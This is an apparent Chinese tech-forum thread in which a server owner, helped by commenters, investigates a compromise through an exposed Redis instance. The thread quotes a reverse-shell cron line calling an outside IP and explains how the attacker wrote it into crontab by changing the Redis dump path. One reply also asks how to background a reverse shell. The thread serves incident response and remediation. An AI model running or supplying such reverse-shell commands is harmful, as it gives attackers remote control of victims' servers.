
crontab 的定时任务全部被清空,换成了 如下
"\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n"
删除之后,过几秒之后,又出现在了定时任务中了。
百度了下看起来像是 反弹 shell,可以看到你在服务器的任何行为。
现在不知道怎么解决,不知道哪个脚本在后台执行,一直写定时任务进去。
求有懂得老铁帮忙看下
1 bigbigeggs OP cpu,内存看起来暂时正常。不知道入侵者想干什么 |
2 opengps Dec 22, 2020 抓紧备份数据重装系统恢复业务。 人工清理病毒往往很难判断是否清理彻底,所以及时你清理了病毒也很难发现是否有其他隐患。 如果你想要研究病毒,打个系统镜像,拿到别处研究 |
3 opengps Dec 22, 2020 那个 IP 直接浏览器访问 80 端口,发现是个类似于 OA 签到的东西,像是一种后门脚本。 那个 IP 的 8888 端口的站点直接访问提示不安全,看来有可能确实是某种防止滥用。 |
4 opengps Dec 22, 2020 太神奇了,那个站点,有备案有作者,楼主确认下是不是正常的对外扩展功能吧。 |
5 bigbigeggs OP |
6 kaneg Dec 22, 2020 via iPhone 是个反向 shell,你的 bash 的输入输出都被对方控制了。估计除了这一个定时任务还有其他的,你这边删了,另一个任务又把它重建出来了。 你这是哪种 Linux 系统?对外有暴露哪些端口和服务? |
7 bigbigeggs OP |
8 bigbigeggs OP @kaneg 应该还有其他定时任务在执行,但就是找不到。也不知道想干嘛 |
9 zszhere Dec 22, 2020 via iPhone 这就是个反弹 shell 啊 你在对方那已经上线了 如果没有可疑进程或者其他用户也没有 crontab 的话 检查下你的内核是不是被挂载了 rootkit 一般用这个来做持久化权限维持 然后检查下.ssh 目录有没有被写入公钥 |
10 zszhere Dec 22, 2020 via iPhone 还有检查下 /etc/passwd 看有没有被新增用户或者被改掉密码 |
11 WordTian Dec 22, 2020 via Android 我猜是 redis 对外开放造成的 |
12 bigbigeggs OP @zszhere .ssh 真有一条公钥,吓死我了,不知道什么时候写进去的,感谢老哥提醒。我还得在排查下其他的 |
13 bigbigeggs OP @WordTian redis 是有对外开放的端口。但是端口不是常用的,并且有设置密码。是有项目在用 redis 塞数据,但 redis 是怎么做到 往 cront 里面写数据的? RDB 文件? |
14 cheng6563 Dec 22, 2020 via Android 不用排查了,排不全的。直接备份数据格了吧 |
15 hakono Dec 22, 2020 via Android 你那么多服务公开在外网,哪个服务有个安全漏洞不就中招了....... |
16 caola Dec 23, 2020 还不备份数据,就等删库跑路吧 |
17 WordTian Dec 23, 2020 via Android @bigbigeggs 对,rdb 文件,写公钥,覆盖 crontab 文件,常规操作了 |
18 yuelang85 Dec 23, 2020 @bigbigeggs redis 可以修改配置文件和保存配置文件的路径,这样就可以在 redis 中通过保存配置文件的方法在磁盘上写文件。 |
19 itabas016 Dec 23, 2020 via Android 服务器不就只应该暴露 ssh/http 端口吗?这是安全常识。 |
20 black11black Dec 23, 2020 @WordTian 学习了,redis 对外开放还可能造成这种后果? |
21 steptodream Dec 23, 2020 感觉肯定是 redis 被黑 redis 暴露公网被黑的太多了 光是 V2EX 上就看到好几起了 |
22 alw Dec 23, 2020 我之前 就是 redis 对外开放被黑过,当时不懂,找腾讯云提工单帮我查,定位到了是这个问题导致的。 |
23 littlezzll Dec 23, 2020 via Android redis 暴露公网端口一定得加密码,以普通用户启动,前一阵就被 redis 那个提权漏洞搞过 |
25 sagaxu Dec 23, 2020 via Android iptables INPUT 默认策略不该是 DROP 吗? |
26 PbCopy111 Dec 23, 2020 妈呀,备案信息里什么都有啊。。。。我觉得楼主可以直接跟对方联系一下,备份服务器以后可以威胁报警了,哈哈哈哈。 |
27 PbCopy111 Dec 23, 2020 你们都慢点动手啊!!!!!!!给我留点时间!! |
28 ferock PRO 一直不理解,redis 有什么必要暴露到公网??? |
29 Dounx Dec 23, 2020 有备案信息,备份好服务器直接报个警? |
30 zszhere Dec 23, 2020 via iPhone @bigbigeggs 附议 14 楼观点 别查了 查不清楚。简单点会隐藏在 系统启动项 /etc/rc*.d bash 启动项 /etc/profile.d 高级点 上 rootkit 或者改掉你的 libc.so 或者 改掉你的 curl wget 等常用二进制 还有很多骚操作 排查不清。重装吧。 |
31 k8ser Dec 23, 2020 脚本小子,这你不报警抓他,一抓一个准,做好取证,警察叔叔过年都冲业绩呢! |
32 ericwood067 Dec 23, 2020 "\n* * * * *"大佬们,这个是多久执行一次,被`\n*`给搞懵了 |
33 ztxcccc Dec 23, 2020 报警不是美滋滋 |
34 kiracyan Dec 23, 2020 这人还是个搞网络安全的 github blog 备案都有 也太不小心了 |
36 iloveayu Dec 23, 2020 名字,扣扣,IP 都有了,保留好证据直接报警吧,这手法还搞网安呢也是没谁了。。。 |
37 zm8m93Q1e5otOC69 Dec 23, 2020 via Android 你的 redis 是 root 用户吧 |
38 bigbigeggs OP 感谢各位大佬的帮助以及建议,昨晚排查到快一点,今天早上又看了看,基本搞懂了。 首先攻击者拿到了我的 redis 端口和密码(全暴露在了公网,具体还不清楚怎么搞到的) 然后往 redis 里面写了一条数据,set x "\n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1\n" 然后利用 redis 的 conf 命令 见 RDB 文件的地址替换成了 crontab 的地址 ,日志如下:  然后他的这条 bash 命令就写进了 cron 定时任务里面去了。 查了查定时任务的日志,大概在 12.9 日已经入侵了,但不知道入侵者的目的。  至今位置,cpu, 内存都一切正常,数据也没有丢失。但是应该数据库,redis,zk 等密码他全部获取到了。 写到了环境变量里面去了,唉。 晚上准备收集一下他的资料,准备和他谈谈,再次感谢各位大佬的帮助了。 可以参考如下两篇文章,写的很详细: redis 入侵: https://www.cnblogs.com/evan-blog/p/10707087.html 反弹 shell: https://www.cnblogs.com/bonelee/p/11021996.html |
39 bigbigeggs OP @beichenhpy 是的,root 用户。已经肯定了是从 redis 入侵的,修改了 dump 文件目录 |
40 bigbigeggs OP |
41 bigbigeggs OP |
42 InkAndBanner Dec 23, 2020 redis 的问题 很常见 我的学生机曾经也被安排过 |
43 bigbigeggs OP |
44 CodeCodeStudy Dec 24, 2020 @bigbigeggs #38 反弹 shell,受害者机器上 bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 这命令是在前台运行的,怎么让它在后台运行呢?我在后面加上 & 后,在攻击者机器上就看不到输入输出了。 |
45 onice Dec 24, 2020 建议备份业务和数据,重装系统。Linux 系统可以安后门的地方太多了,比如替换某个系统文件,比如常见的 ls 命令。那么多命令,鬼才知道是替换的哪一个。 也不是说不可以排查,但排查的成本大于重装的成本。 |
46 bigbigeggs OP @CodeCodeStudy linux 上定时任务,crontab 每分每秒都执行 |
47 CodeCodeStudy Dec 24, 2020 @bigbigeggs #46 Linux 上的 crontab 只能精确到分钟,怎么让它每分每秒都执行? |